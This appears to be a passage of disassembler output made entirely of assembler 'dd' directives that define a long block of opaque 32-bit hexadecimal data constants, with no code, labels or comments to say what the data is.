		dd 1A8CB430h, 47299190h, 31009488h, 89DEE572h, 369B0006h
		dd 7595B590h, 30041C8h,	64BED0C1h, 78D77Eh, 5C212511h
		dd 0EEF9F1C4h, 0F402C672h, 0A8C98F30h, 37F4A0FBh, 43A291h
		dd 2C4FD10Bh, 8DFCF568h, 752180E5h, 0B41A491h, 0B47C00ECh
		dd 6F40F303h, 1A0662EDh, 9447FEEh, 58CC03D0h, 0A32FEF90h
		dd 47C8FC0h, 5448E9C0h,	0BD872h, 21F4F290h, 3682D6Fh, 8CC1A800h
		dd 4ABF1D9Fh, 7750688h,	0B8E60802h, 93063900h, 9A996CCCh
		dd 646D4856h, 9E38D03Ch, 61196098h, 4E008BD6h, 0B09F734Bh
		dd 59DF15h, 7B07BC6Eh, 0EF6F5AEAh, 0C05E7800h, 82B2F2A2h
		dd 67360191h, 0B19E8EFCh, 495E283h, 0F5860400h,	2982BBh
		dd 93B7A653h, 0BC4A8CA9h, 730A4E00h, 57B6A0E0h,	0CAA8015Ch
		dd 9C962A2Dh, 0F82890B3h, 9F48418Fh, 0C976D004h, 4883B404h
		dd 9F994234h, 51CCE427h, 40974450h, 64B10444h, 409879EDh
		dd 0CCF6F0C6h, 0D0FE008Eh, 6BD778F3h, 0C00D65Eh, 46059537h
		dd 0AD8C40h, 308A7C86h,	4067F3Eh, 2573ED07h, 0E810B8D2h
		dd 0C076A5h, 1D6A055Fh,	0C7E0402Fh, 6101827Fh, 0E644EB2Bh
		dd 22DCBD38h, 0DAA13E3Eh, 50D2C300h, 0AF966519h, 458D5E03h
		dd 0D876D6BAh, 0C940E0BDh, 0B600C496h, 725D4EB9h, 0AEADD200h
		dd 4ABB43B6h, 0DADD008Ch, 60208751h, 2401CCB0h,	693A3E66h
		dd 0C8D40228h, 0CC8E5042h, 0DBE4A1h, 0B745268Fh, 69479E96h
		dd 30B00400h, 6D66D43Dh, 7C923F6Bh, 1E5BDD80h, 0DC543C12h
		dd 0EDCCB203h, 0D09FD94Ah, 123E1F39h, 1FB49E26h, 0C40CBE10h
		dd 0D528E12Fh, 4AECA00h, 5D0CBF1h, 5B821396h, 1CD91C48h
		dd 77F60061h, 2D08F5F3h, 84439F00h, 0E1E8E5FDh,	0A3C10080h
		dd 0F12C49B1h, 170027FAh, 0AED4FE35h, 0DC0C61Ch, 0C23A851Fh
		dd 0FB6ECC30h
		dd 2F035B1Ah, 55C90042h, 3F29908h, 482BE8DAh, 72C838CBh
		dd 0A63E2F2Ah, 0D97A0049h, 0AB75D546h, 0E0BE0E09h, 0C700D0DBh
		dd 32248E47h, 0F0986C00h, 1B2F7F21h, 35DC1D45h,	5E134025h
		dd 607B193Bh, 0A2B7160Ah, 0E309FCABh, 539D0075h, 47119Ah
		dd 0EA62E409h, 0F3DF79A4h, 0B107C06h, 0ECEE3638h, 0B8D00031h
		dd 863B7B0Ch, 3F002124h, 523870E2h, 392FCAB3h, 76F7ED63h
		dd 4F590739h, 709B73A6h, 0B7767930h, 89BEB800h,	55AD7BA5h
		dd 249673F1h, 0D8DBC6h,	0A49B2D8Dh, 0E50049F6h,	0F47AA7ABh
		dd 241E1Dh, 0EBC9CDC6h,	64F52B58h, 8B00B278h, 737E3D86h
		dd 3BFA71h, 6002202Ah, 0D398119Dh, 4CF7C12h, 30486800h
		dd 193B8BAh, 0C9161E3Dh, 705F28F1h, 0E82818C3h,	0EE008C1Fh
		dd 378AFA86h, 0B78806h,	4F9793BFh, 82B02911h, 619475Ch
		dd 8DBBEC16h, 4A45FC10h, 43BC38h, 0BC2472ADh, 13EA811Ah
		dd 31DE06h, 61B9E628h, 0A500F9F4h, 8F53332Ah, 0ACA7EAh
		dd 79C40686h, 1643011Dh, 3FA49900h, 0C352BB46h,	77FE01F0h
		dd 42265466h, 0ED13E833h, 9C00AB75h, 7AFDA4D4h,	0A9479Dh
		dd 8BE3B5D3h, 0A7391C54h, 3B82A007h, 0CB90F6F5h, 1421DA3Fh
		dd 0A43557B1h, 9EE71C00h, 0D940256Dh, 23779403h, 0B16B3Bh
		dd 24C38F39h, 971C6591h, 0E8DA7330h, 0E59069Eh,	9238B026h
		dd 0E4259FE0h, 0BC0012CDh, 864EC154h, 7CE6066h,	5E895682h
		dd 40285750h, 0CABD97A0h, 0E05B2000h, 737652Eh,	0E15A00A5h
		dd 0BBDBB54Dh, 6701D8FEh, 0AF40DD2Fh, 74C478CAh, 0DC571684h
		dd 0B6FA047Bh, 406C8769h, 0FFE8F7F9h, 6200A490h, 3A1441F4h
		dd 0F4462D36h, 8DA500AAh, 0BF748965h, 0E324439Ch, 0CC0030FEh
		dd 0E48F2813h, 0FDCE09ADh, 24878C36h, 0B07C37BEh, 0D5534E4Dh
		dd 24AC8B01h, 0D3FDDEEBh, 354B3881h, 8738E94Ah,	7B7D8B11h
		dd 3A4E8FD1h, 397C8840h, 0E04D00B3h, 0B9275C7Fh, 6D008997h
		dd 3E409309h, 2478878Fh, 1242F0Ch, 478B6B91h, 81E221ACh
		dd 0FE076DC8h, 442116AEh, 5C88E0h, 0FBD4FCA0h, 0DB7D8EE7h
		dd 1D9C090Fh, 0FE598011h, 0C6DA149h, 4D04553Bh,	6E3B27C8h
		dd 22148F46h, 0D4FB40A7h, 138F2058h, 83D30Eh, 8118E4C2h
		dd 560CFCCBh, 0D0517AC8h, 0DE8B076Eh, 1024B67h,	89E01E3Eh
		dd 0A26FEFA9h, 0C07F80BCh, 3D3A03h, 25411B23h, 0A847C9B2h
		dd 30805C58h, 51401112h, 62DB0014h, 9515D15Dh, 0F09007ACh
		dd 0DC00197Dh, 0FC46F503h, 0D52F3h, 0BB67735Bh,	92527B7h
		dd 0B9075970h, 0BAC5EF8Ch, 13B12EE0h, 0BB1C0452h, 0C09E43AAh
		dd 7AE1C654h, 20F20F00h, 0A832F448h, 0AEDE0060h, 69805A55h
		dd 0E300FD9Eh, 0EC866883h, 4CBDE46Ch, 0E000B05h, 0A3EEE74Eh
		dd 6A4CF00Fh, 6CFE0FB9h, 0C0B340F1h, 89FF24h, 0DD4E513Ch
		dd 5C258359h, 7007A37Fh, 78A93F45h, 0DFA5C830h,	5DD70021h
		dd 16097743h, 20019F37h, 12070CAEh, 0DC80DFAAh,	7614D658h
		dd 2301996Dh, 985E0F89h, 0AFC817CEh, 1F70B020h,	40346237h
		dd 0BEAB3D63h, 9400C1A0h, 0C4B31E69h, 0A57715h,	42DE4901h
		dd 0A75D17Dh, 740E2C1Ch, 76945080h, 7BB1F58h, 0D248BCE6h
		dd 9672424Ch, 0F4688161h, 9400DF78h, 2F07A53Bh,	89481Eh
		dd 207E32FDh, 0FFBB72A6h, 0B694AD00h, 925B4EEBh, 27F00A9h
		dd 3E4B76Fh, 6E007590h,	0D2DABD8Ah, 597C37h, 221A29A5h
		dd 0E4CF7D7h, 4E663F00h, 5F336550h, 904D1D5Dh, 7391807Ch
		dd 25FF6CEAh, 0C9001071h, 9CF3C872h, 0E2954647h, 0B1FC68h
		dd 0F2F766CDh, 93EF506h, 4A6D670Ch, 0C128C9h, 1C3357A6h
		dd 69A77E40h, 72345300h, 145A6322h, 0F4700CCh, 0F3CE1B16h
		dd 5100DBE2h, 949375EAh, 1CB67BAh, 6C2D6B47h, 0F0908A79h
		dd 0D3006096h, 9F4CAB99h, 48525ECh, 7DEF8270h, 5ADCC02Ah
		dd 9B2CC5FCh, 0C89EECC4h, 13473000h, 743B975Ch,	0E6AB24E9h
		dd 0B2BE00E0h, 0A78760E0h, 7F02B798h, 6FD9EEAEh, 275C6882h
		dd 47150F98h, 38612CB0h, 302D2667h, 0D03F978h, 87D680A7h
		dd 0FAB3D0FEh, 58511334h, 40F802A5h, 0A0404FF6h, 2400C7BDh
		dd 3CC566D5h, 705057h, 148E0D1Bh, 1EFDA164h, 0A49AE802h
		dd 0C0324373h, 0F537DCh, 2D46C5ECh, 0D0978A5Ah,	1AB04290h
		dd 32920D16h, 0DEB89001h, 0F875B96Ah, 623BBCCh,	8367CB21h
		dd 4F00C06Ch, 43B53ABAh, 0C9F2EAh, 0C83533A3h, 0B861D974h
		dd 4B10CC00h, 4AE43CFCh, 0E0D80008h, 0B2FE813Ah, 0D575999Ah
		dd 737E53Fh, 0D81B61A0h, 40C4094Eh, 8A56BCh, 0D1BB798Ch
		dd 972AFAF2h, 9E004098h, 1D4611B3h, 32EC0E3h, 32AE6342h
		dd 991D741Fh, 0E9C2B58Ah, 80B07D59h, 684C7CD4h,	40C25C9Ah
		dd 28F53019h, 0B1BCDCFBh, 696F8D01h, 0B76EF95Ah, 0E85B3080h
		dd 0AA43A308h, 52A04B00h, 7C71F2E0h, 215F00D7h,	3DD84163h
		dd 7A00D9DEh, 19A06E88h, 67E7F8h, 5F8D2656h, 0EB51CD0Dh
		dd 0F5FE3600h, 85ECAFCh, 7E407C8h, 0E0A01049h, 5935DE5Dh
		dd 2FA11607h, 0DA604E0Dh, 0ECB83BEDh, 0AD7677h,	73803633h
		dd 53E8BCC6h, 390BF81Dh, 2428CCBCh, 680E4C2Bh, 4F570095h
		dd 39829F34h, 3A025B37h, 77EA18CBh, 6815C4C0h, 0E0A1ED30h
		dd 8A5474h, 8BD33A21h, 26B6489Ch, 0EE6C7500h, 731A83DDh
		dd 0A77D05E5h, 5EF8F7C0h, 0CA1C80ACh, 0C2725CB3h, 0ED8EC509h
		dd 3958002Eh, 30207B59h, 0D102C92h, 0CE26C250h,	0F5043891h
		dd 0C3C04DFFh, 160A5CA6h, 677F9F3h, 0C09757A1h,	79B01C00h
		dd 2E9CDA14h, 0EBEE0067h, 3EAD7396h, 0CF006D06h, 0E0A1D50Ah
		dd 6C4B18h, 8C690D46h, 0D8A9BF75h, 4F6EAB0Eh, 0E500B79Bh
		dd 0C1028B6Ch, 0C7CC008Dh, 52DA466Dh, 31005F8Ah, 79A0143Fh
		dd 745B55E1h, 9120072h,	1964B0A9h, 840043D2h, 0A3788EAFh
		dd 0D942FAh, 1329BDF4h,	0BFFE552Eh, 9C3897F2h, 483B8E36h
		dd 5E9E003Dh, 1E79819h,	127C3B6h, 0E4A958D5h, 263DD37Ah
		dd 9EED0549h, 0F000602Ah, 0A1D1C6D8h, 7F6F2E9Ah, 0D4C80418h
		dd 0EE7C83D0h, 0F04CC0BCh, 50E26D7Dh, 1314E402h, 80D0DF72h
		dd 0B67871ECh, 899CA08Bh, 247601B0h, 2BEADB06h,	0CAD4425Eh
		dd 0DE9C6860h, 0D50B3FF8h, 840AECFCh, 58809FFBh, 18108A53h
		dd 6092CE9Dh, 9C00591Dh, 0F011BED7h, 0EB4AB4h, 0A55B9BC8h
		dd 0F7D6F03h, 0B3008290h, 0E5F75632h, 19884ACFh, 88346A3Ah
		dd 5DEF08B0h, 4A00C4BCh, 0B895FCBEh, 710CE212h,	70FB870Ah
		dd 1744060Dh, 0D03378CDh, 2B400EEAh, 0BE590C9Dh, 5A28F414h
		dd 8118267Eh, 9310F54Ah, 123EC63h, 2F8CCC92h, 20A0A95Eh
		dd 51DCB68h, 6BC05D68h,	5AE0B828h, 357D00C9h, 0A546587Bh
		dd 6255A113h, 1628E4A8h, 872BFE1Eh, 0BB7F2C0h, 1EDEB259h
		dd 0C0FC95F0h, 0B1CB9D6Bh, 4F2C5882h, 0D7006B24h, 8C11BD44h
		dd 2E5E0018h, 2FDB9C17h, 5A022A78h, 8F96C24h, 189C611Dh
		dd 17D919F4h, 478CF7AEh, 0E05365E8h, 25C32473h,	91012DE2h
		dd 0A6661DAAh, 382CF1D5h, 80542B00h, 0CF8F29E0h, 2F242AF2h
		dd 0AB05B9CEh, 84C00C01h, 18FFF16Eh, 100D41F0h,	0EB172ED9h
		dd 2C007CE2h, 4506F407h, 1D5B0E1Ah, 0DD603F8Eh,	0C164B1EBh
		dd 0C4253200h, 0A9D9B49Ah, 0B9330068h, 0EAFDD3ACh, 789E7F0Ah
		dd 77B0B200h, 1CCE188h,	8C267EDFh, 0D4EF35C1h, 30730343h
		dd 3E331D00h, 2A479D72h, 8DA200A3h, 0E1DE2CBBh,	0A700FC52h
		dd 8E7A8A30h, 503A6865h
		dd 0A6DC03h, 36E829D7h,	0F1BF4E7Ch, 4011FB00h, 84833153h
		dd 0A30500C5h, 8DEF4782h, 5C006DEDh, 793EE594h,	1F816AEEh
		dd 0B2C0CAEAh, 50CEF2A8h, 472A0C00h, 6937C194h,	5D2C0336h
		dd 0F659F796h, 0D449EEC0h, 6631DB04h, 0BCE063CCh, 1C96E4C9h
		dd 12C6ADBFh, 6C28015Ch, 0ECF40131h, 100F63F7h,	490C5A12h
		dd 9A098013h, 0DFEEA1h,	0A7687982h, 0B8FD2EB5h,	0CC983074h
		dd 0E87A041Fh, 8AA4CE43h, 63678049h, 0D6821F66h, 641A8352h
		dd 6BE8222Ch, 0BC057C35h, 32F18BDAh, 1AB668D0h,	0C33B3FD2h
		dd 276CA580h, 9B1092F8h, 2539BB00h, 0FB835508h,	2C3B00AEh
		dd 8A6DE66Eh, 0DD3EB691h, 0FA5A8079h, 923EF121h, 0B23B0064h
		dd 85327895h, 10580603h, 8C8F008Bh, 0C71927B1h,	246700EEh
		dd 1CCA9C56h, 0FAEC0709h, 60DB0E00h, 803EF7C3h,	58171FEEh
		dd 0FC04BA88h, 87E4859Dh, 8E4A0094h, 0B1F9915h,	0DFC0C129h
		dd 132A651Bh, 71DD038Ch, 5194A7Bh, 0A52553E0h, 81E02900h
		dd 0F6804BB8h, 9BE300C4h, 8A8CF9D0h, 442CFAC8h,	1600AC20h
		dd 6C2B5E67h, 38C918CFh, 25B01123h, 60AD6200h, 3DD1BDCDh
		dd 75BA00A8h, 2B260A0Bh, 0FC00A30Dh, 494432Dh, 601DABh
		dd 1B99B8C5h, 355D9F83h, 0B22BBB00h, 5F703CEh, 0C348C25Ah
		dd 0C805C79Eh, 386B6040h, 3D6C868Fh, 0B9007808h, 0AADEF98Bh
		dd 5B1614E3h, 3001BE0Ah, 99E70EAh, 30C7FCE4h, 0F6F0046Eh
		dd 0E3E81303h, 0BFB57500h, 51096C6Ah, 0E8BD00C1h, 0D3369498h
		dd 0A8006757h, 524E3AF1h, 39103B8h, 809C26F0h, 74A0E7BEh
		dd 5800C847h, 6AB4ED53h, 0C114ADh, 255FF90Ah, 8C8E4405h
		dd 9A4E7700h, 82E8C2B8h, 0C3D80089h, 87199C6Ah,	79000D99h
		dd 0EBD59616h, 1DC21D4Ch, 0C0622971h, 54383A55h, 230146A8h
		dd 6B3E277Ch, 0AAD0128Fh, 174300D5h, 0C466E578h, 4500ECAEh
		dd 382851A3h, 0DFDAE479h, 0AA700020h, 3E2B7471h, 751E0839h
		dd 61D11800h, 0BDB7A0B4h, 0E5130062h, 362FFF11h, 8E00D97Ah
		dd 83745658h, 9B0B8Fh, 193B7C8h, 7538F54Fh, 82633209h
		dd 67A5832Ah, 66A887Bh,	0D11C00C9h, 5D69D8ECh, 0A50E1622h
		dd 23AFCE11h, 0F0C124B6h, 728F6Eh, 9E020A9Fh, 658BB404h
		dd 20BC4900h, 0BEDA1381h, 649285h, 77DC1AD7h, 0A07B4CA9h
		dd 0D57EBCE0h, 282D8624h, 56D5C58h, 39D7BB0h, 18D918E3h
		dd 1B007FB8h, 3CA80986h, 33D90Eh, 0F1766659h, 0D5DB087Ah
		dd 75783872h, 9BF57E01h, 0D777B779h, 176E1DCh, 0BB9190AAh
		dd 0F4382175h, 803F63Bh, 0B03A8D8Ah, 9487A83h, 0E24DE958h
		dd 0D6D85038h, 4A4F8E00h, 5E8B784Eh, 0F4C0007Eh, 3E056EEh
		dd 0C20002A6h, 1CEBAFEAh, 5C08DCh, 2A0BDF76h, 65D89627h
		dd 8E832B07h, 5FC07F12h, 2336988h, 0CB20BF77h, 0CC881A4Dh
		dd 6DF001ECh, 0E53A1835h, 4FB3D0E1h, 0F1136600h, 2EAD97AEh
		dd 7CBE00BDh, 1B7DE7BBh, 0B006E26h, 33A5827Ah, 1A9B4EFh
		dd 924A538Eh, 0CCD4B8FEh, 8900F7A3h, 3A3B4D37h,	2BC60h
		dd 0BA9476AAh, 0DC7D6271h, 0CF8E5A00h, 0DFE80BE3h, 59820055h
		dd 20B205A8h, 99EE6322h, 6C389578h, 0D7B601B3h,	8E73DD9Fh
		dd 198F140h, 0B62043Fh,	0C7E8F4E1h, 0F21AD178h,	8187101Dh
		dd 0F97D7Ah, 0FE9C1121h, 402C7FBCh, 0B8F5A628h,	4598B00h
		dd 4EF306C3h, 0F840093h, 347ED50Eh, 660090EBh, 58978925h
		dd 0FE20F4h, 1A43CF5Dh,	379FB5Ah, 0DF03C37Dh, 0D059F17Bh
		dd 52E2F8BAh, 0AD7D0784h, 3FAF9EDh, 90B8D91Eh, 0AF006720h
		dd 55DB8A4Ch, 38D00E06h, 21039EC4h, 2A3CE6E5h, 2BD4F3C8h
		dd 0FF009570h, 3AF7C20Ah, 0B82940h, 7F189A5Bh, 4D1A8BADh
		dd 0EA9CC300h, 3CA3DFD6h, 0D30A0396h, 0ADB49927h, 0E76A0DE0h
		dd 1186D10Eh, 0AA300D2h, 72046509h, 0BBCC01BFh,	0BD83DDC7h
		dd 717FF048h, 17A58C00h, 4C949C3Fh, 566B248Fh, 6028E0h
		dd 1D632BF8h, 692F35D3h, 0ACE2FB3Fh, 0A10028D1h, 7AE0AB58h
		dd 1C16FABDh, 0E4576B7Ch, 0A7176Fh, 0F6D261F7h,	0C8005E1Ah
		dd 0DBFAB0C0h, 0B07B9A1Dh, 0F490ECh, 0F5666C90h, 0E2E9A852h
		dd 0B515670Ch, 625C80A0h, 0B9C410FAh, 4D806A27h, 48E613h
		dd 0EBCF734Ah, 36064104h, 86FD41Eh, 0E7029900h,	0B7398Dh
		dd 41AFFAF0h, 0B7347C2h, 0D90E6230h, 0E6B2438Eh, 0D38C005Eh
		dd 8606F836h, 0C8008341h, 0B0B71D66h, 6092181Fh, 960B3035h
		dd 8000C195h, 0EA5EFE59h, 74FD25h, 16655210h, 88BBDBDCh
		dd 0D3EFA900h, 3FE25A3Bh, 0F892041Fh, 0C499823Ch, 37E5C02Ah
		dd 0B35898C4h, 3684004Fh, 68437BB4h, 6B8300EAh,	0EED138D2h
		dd 770239F9h, 1A5BC8A1h, 935C8110h, 38DC65BCh, 88990012h
		dd 325FD6Bh, 0DA0028E5h, 0FF1D56AEh, 2C1CB7h, 920275C6h
		dd 0D1D9633Ah, 5FC84260h, 5E0866Ch, 0DA5E7A8Fh,	8EC40797h
		dd 23801E17h, 0A034B9Ah, 0F4302560h, 0B0BDB9C7h, 0D39335B6h
		dd 1CE40120h, 4E620A44h, 21933F20h, 0EFC08210h,	1B60043Bh
		dd 0E36085BAh, 0B2BB0B39h, 1DD303D8h, 347D4A6h,	0BC01092Ah
		dd 0D90ADB1Eh, 0B6900AFCh, 8B41C8EEh, 8E0E91Dh,	39DE7061h
		dd 76007B11h, 0B84F5B91h, 5700B48Ch, 0B622732Bh, 14A3C7F6h
		dd 88019294h, 2AD7510h,	36E70976h, 87B0800Ch, 49834C0Bh
		dd 0D5018099h, 0E6C557D4h, 0F66FC5Ah, 79D6123Ah, 53421C0h
		dd 1683257h, 6341FD70h,	0BF430A6Dh, 0D2F018A0h,	0A1A9E729h
		dd 53F1AFCCh, 0C0884400h, 0B59B28C1h, 0D9F47B0Eh, 8743106h
		dd 5392EFE0h, 1EA1FD90h, 0C3984CE4h, 1DDED904h,	0CE33D6EEh
		dd 2300217Dh, 2A4258D9h, 3E61A850h, 0A47E9086h,	57DD026Ch
		dd 0D6E2E6C0h, 4F12FE19h, 0AD420009h, 306D47ABh, 0F9619D8Bh
		dd 0E5003CE9h, 5796E29h, 760B498h, 0FB595216h, 750D90A0h
		dd 1712942Dh, 5C410312h, 377A3CABh, 198740C8h, 876F682h
		dd 3604341Dh, 0E000737Eh, 0C6957113h, 35F2802h,	938D9B06h
		dd 28405292h, 0F48C42D0h, 0F01F0A5Ch, 0E564A84Ah, 0BEC8C03Ah
		dd 48006EE0h, 0A288F6EDh, 0DC760DB7h, 2F1A8379h, 0C69B2312h
		dd 486023h, 0E6B957D8h,	4486AFBAh, 80058C4h, 0FFE87557h
		dd 91907AB4h, 18817920h, 22DB3F45h, 7E95B101h, 22FAD94Bh
		dd 174409F8h, 0AE1420C1h, 3815D24h, 33064BF1h, 4918802Fh
		dd 0DFD1480Dh, 714D03C7h, 10B8AEECh, 0F1EF2FE0h, 30C45A30h
		dd 0ED1FA0h, 0D082EB06h, 0C56ADC75h, 0BCDB61C0h, 65C2250h
		dd 5491678Ah, 6C340842h, 91802076h, 1D559550h, 0C39E5635h
		dd 0C06E6A48h, 0F38A80F8h, 0BC6C3300h, 15E2D066h, 78C800D4h
		dd 9D038F3Fh, 0AF0F3E87h, 80D58870h, 1942C18h, 0A14B06FBh
		dd 865633Fh, 3887BE30h,	2945B2Eh, 9CA756F4h, 810978D5h
		dd 0F7BA87BFh, 171D3ECh, 3182A54Ch, 60614E32h, 0EA723303h
		dd 1E09AB03h, 1862278Ah, 59BABB38h, 85002F2Ah, 0BCA7342Ch
		dd 905CDCh, 0A6CE6044h,	879AA1FCh, 71543252h, 0E6FD9408h
		dd 408FC42Bh, 1B946622h, 3AEB0329h, 0E51023E9h,	0B788F83Fh
		dd 0B180B946h, 1D62530Ah, 2824AC3Dh, 2314688h, 0E78A942Fh
		dd 108B3153h, 0F9460A3h, 0B49AD3F3h, 0EE7FDF83h, 0CEBA691Eh
		dd 0BFBEABC1h, 0BC50F55Bh, 148C39h, 0A63C9BCAh,	56721285h
		dd 4D1F4800h, 1CD304A2h, 0E790002h, 9E2C2971h, 0E5FDC8EAh
		dd 0F55980DFh, 761DB0FDh, 82D50797h, 43D4FF6Eh,	2000CB8Ch
		dd 74BE9414h, 595C83h
		dd 0C235B0EDh, 0B13FA67Eh, 296A0437h, 2076FD50h, 0D559C53Ch
		dd 0A4B80028h, 54F0C32Bh, 1FD06A03h, 39E48C0Ah,	0A68A96F0h
		dd 74C833FDh, 9B008446h, 606AE5EFh, 3500FBD2h, 0D6D76305h
		dd 64964AF3h, 8255997Fh, 0A4AE2054h, 51A2D461h,	0A8A05084h
		dd 4A5C65DAh, 0B45C03D7h, 0A369C010h, 562100EBh, 7D56433h
		dd 9700BA6Ah, 3F081CB8h, 30EE7BA9h, 0D2990E1h, 3062A63h
		dd 0B1BA96EBh, 9A4819h,	0C030E6BDh, 1AD0E658h, 0C0C4B191h
		dd 27F4A820h, 90000B8Fh, 670F3E30h, 3A71003h, 0ADD8813Ah
		dd 4878E3C0h, 9D5D780Ch, 683924h, 5ADD444Bh, 0B280BB97h
		dd 30C57F3Ah, 73F3216Fh, 95F80044h, 0AD65EB4Eh,	0D7078EA5h
		dd 0CF7A778Ah, 78269670h, 0D06598D0h, 3810A4F1h, 65CCC050h
		dd 43C00E40h, 0D5191069h, 64240072h, 13CA08D4h,	0EC3AB225h
		dd 5BF1F28h, 38204100h,	342CE7Fh, 3C9D5201h, 0A16433E0h
		dd 41605FD0h, 5B10DF44h, 0D7C8A8C7h, 44728980h,	0FB13B18h
		dd 7723F3C3h, 842B6987h, 6EA8889Ah, 0CAEAB007h,	0ACD082AFh
		dd 14DFAD5Eh, 0A0D7FCE7h, 8CD7BCh, 0C06F0276h, 0AC6ECF17h
		dd 7BBA4215h, 0DAD800FCh, 41041C35h, 1848E05Dh,	41253D20h
		dd 1D00135Ah, 0F255CF26h, 243A4E81h, 7301662h, 0AAE5199Ch
		dd 9D5D1C88h, 0B1180E4Bh, 1E888DE0h, 0BC00C374h, 30B0133h
		dd 3C5B77h, 2F818651h, 18907502h, 27DD0D1Eh, 8D847A07h
		dd 0DBA395C0h, 0DA06054Fh, 0C1BFBD1Eh, 80FF30EAh, 6231B240h
		dd 338C747h, 4F3A1F15h,	1EEA33A1h, 48EA8A00h, 0C9702Bh
		dd 54933C90h, 3804E29Dh, 23EB1B0Fh, 0B0C01CB9h,	8E1691AEh
		dd 43AB00DCh, 0B6A699B2h, 337F892Fh, 0E764841Ch, 0F447BC07h
		dd 0EC833F50h, 0B95C0059h, 0C63C34E3h, 0F500176Fh, 72D6944Eh
		dd 161E7DBh, 5BF8C98Eh,	80DF8621h, 0CBC0E2C1h, 0B04E9Fh
		dd 90D661AAh, 2001060Dh, 7451991Fh, 5C1E3540h, 5258A8Eh
		dd 0A4B9A7E3h, 0E8AA05C2h, 37EEC021h, 80C05C90h, 7148779Dh
		dd 25B23FF8h, 0FAF35980h, 0EE9585CBh, 0B43248h,	0A01E0C4Eh
		dd 677EC6Ah, 0BE7C4883h, 8C0316E6h, 0BF33518Bh,	0F2C00216h
		dd 8908F930h, 325A080h,	3D001418h, 48E95B9Bh, 1810AD38h
		dd 805A2697h, 9900691Bh, 3F534403h, 12A116h, 0E83B0F5Eh
		dd 845C9581h, 198B5400h, 0B8824B2h, 0D2C1C07Fh,	2AC6C2AFh
		dd 56C04C50h, 28E3200h,	9395B551h, 72501D10h, 62C280D9h
		dd 0BF75BDD8h, 5AE7A202h, 911603h, 9B6C349Dh, 10EB2B00h
		dd 0BE27D085h, 20A81507h, 7D0080F3h, 23665D76h,	0E00010CDh
		dd 59AEC928h, 60DB5E62h, 0EA718039h, 0B905BB46h, 0F44F1D9h
		dd 7819E053h, 43D8CFC0h, 345901D1h, 7DCD8D1Ah, 0F1DC8A2h
		dd 0E5E55A40h, 2E24E040h, 96C3038Dh, 86A1336Ah,	55181998h
		dd 0A548B500h, 0E92304E7h, 97441C94h, 74680DFh,	4A9DF1D2h
		dd 2C3340C0h, 24139h, 1CCB7960h, 0BD1219A2h, 46502D00h
		dd 99DF0BD2h, 0CE103CFh, 52734235h, 1921FAD0h, 72A4DB09h
		dd 0ABD0E2Eh, 0E0E8EDCh, 6D2320E7h, 957EF4h, 9D6BFE4h
		dd 0B461692Eh, 937AF90Eh, 240C20BCh, 39CAA9FBh,	6E00EB75h
		dd 5972FCD8h, 0B57F25F5h, 21BD7B1Dh, 5C034070h,	5ACB4CA2h
		dd 0CEB31800h, 0A7742986h, 0AA320400h, 548B77D2h, 6EF7000Fh
		dd 4E576C3Dh, 7228AB1Eh, 0A16E05Bh, 7C04152Ch, 0EA00D51Bh
		dd 1A14E73Ah, 3C325426h, 7FE5AB81h, 66E12D85h, 4A017836h
		dd 4F5BDA44h, 893C0CC5h, 25B030F2h, 0FEE7400h, 17C90B05h
		dd 0BF5B2CC8h, 96CE8F64h, 48098AC0h, 4E000D65h,	0FD821CF3h
		dd 415D8Ch, 0D7D48990h,	0BA190B7Bh, 0E000F27Ah,	24D8E4C8h
		dd 18483694h, 7065A32Ch, 0DD133A5Bh, 880BF0CFh,	2D4F8079h
		dd 1EF5A1E0h, 0A5CD1Dh,	0E1F38568h, 790AF087h, 202D5448h
		dd 430A8F70h, 52EA002Eh, 0D83F117Ch, 5E7D95h, 0D1ED7E92h
		dd 4DC5D9A1h, 69992303h, 0F8425A72h, 679C0FDBh,	0C10870DCh
		dd 0F03FBAEAh, 490CCD4Dh, 10843A01h, 90DC5894h,	0A22F6D06h
		dd 709830B0h, 4070DE1Ah, 0E47067F0h, 0D029606Fh, 0F0225457h
		dd 78BC5D85h, 4C1FB900h, 6A385F39h, 967F9801h, 0C85CEB8Fh
		dd 85A2B473h, 7EE96C30h, 0FE800009h, 0F775CDAh,	0A8A0F034h
		dd 79C0BD68h, 63EF1F44h, 0FA00C85h, 0ED20F4ACh,	0F679B8B9h
		dd 839B518h, 834780DCh,	8CFB5DC9h, 1C524835h, 61C8EA01h
		dd 803C959Ah, 150B0710h, 6C87CBh, 8EA2A168h, 0A3F936C3h
		dd 18DEB3Ch, 34D3603Ah,	10D0BA11h, 3D5D0035h, 68E47A56h
		dd 0A9006C58h, 2B09879Bh, 0ECCC6h, 88927991h, 0F1DCAC1Bh
		dd 8CF46602h, 8A9217Eh,	4C18DC04h, 7110B0B3h, 6D2501A6h
		dd 0CE5AF5B7h, 978080A9h, 4CF351F7h, 369B0348h,	33F88BFFh
		dd 8DE2921h, 0AC90056Eh, 423E8484h, 2AED9A2h, 0C027EE2Eh
		dd 3C6288B8h, 401E8691h, 4D26430Dh, 0C89071C7h,	0B000201Eh
		dd 0DD9AE4D6h, 151DB4h,	3E62024Eh, 73C23334h, 0E0AB4C00h
		dd 63D6D09Bh, 0D3800DFh, 758EA47Bh, 0B000A6DEh,	81C56559h
		dd 5B97E137h, 14BA0E5h,	8C346000h, 0C87D8479h, 0FD3D000Ah
		dd 5F865482h, 4D004F9Eh, 9CC4BBEEh, 6E8D50h, 0E69179D0h
		dd 5B080339h, 58E7A700h, 713AA4E5h, 5DC50047h, 0D4DA8E2Ah
		dd 360B99E9h, 8527C49Dh, 0C0406D05h, 35A2F33Bh,	171D3A24h
		dd 8A80B4BCh, 933EBB43h, 41E60B2Ah, 0D0944F00h,	8FC6ED6Eh
		dd 21801E04h, 7EA9401Ch, 9E33DA87h, 7B01A2F6h, 227890D4h
		dd 46FC1121h, 3D598D6h,	0AADAB975h, 8008B6E0h, 3DD1B62h
		dd 8D787AB0h, 8703C4C0h, 0D4062F00h, 0B48C822h,	935E1DA9h
		dd 0B89EDD19h, 810CA400h, 0F7E244ECh, 0B0035372h, 0C1E05B8Dh
		dd 4151D8CCh, 821900C8h, 0A098CB47h, 4838D31Eh,	0EAFE80C9h
		dd 942ED197h, 0B62B00BFh, 0DC30455Bh, 5E60FC42h, 77CA3210h
		dd 3D491F37h, 3D9C053h,	0B14FE02Ch, 598BA503h, 168DBA5Ah
		dd 1D650E74h, 0E7A84004h, 0BEE886FFh, 5EF80600h, 0F44B4CE5h
		dd 1B283E3Bh, 0A1205603h, 0F2A8746Dh, 77024FC1h, 3505FE9h
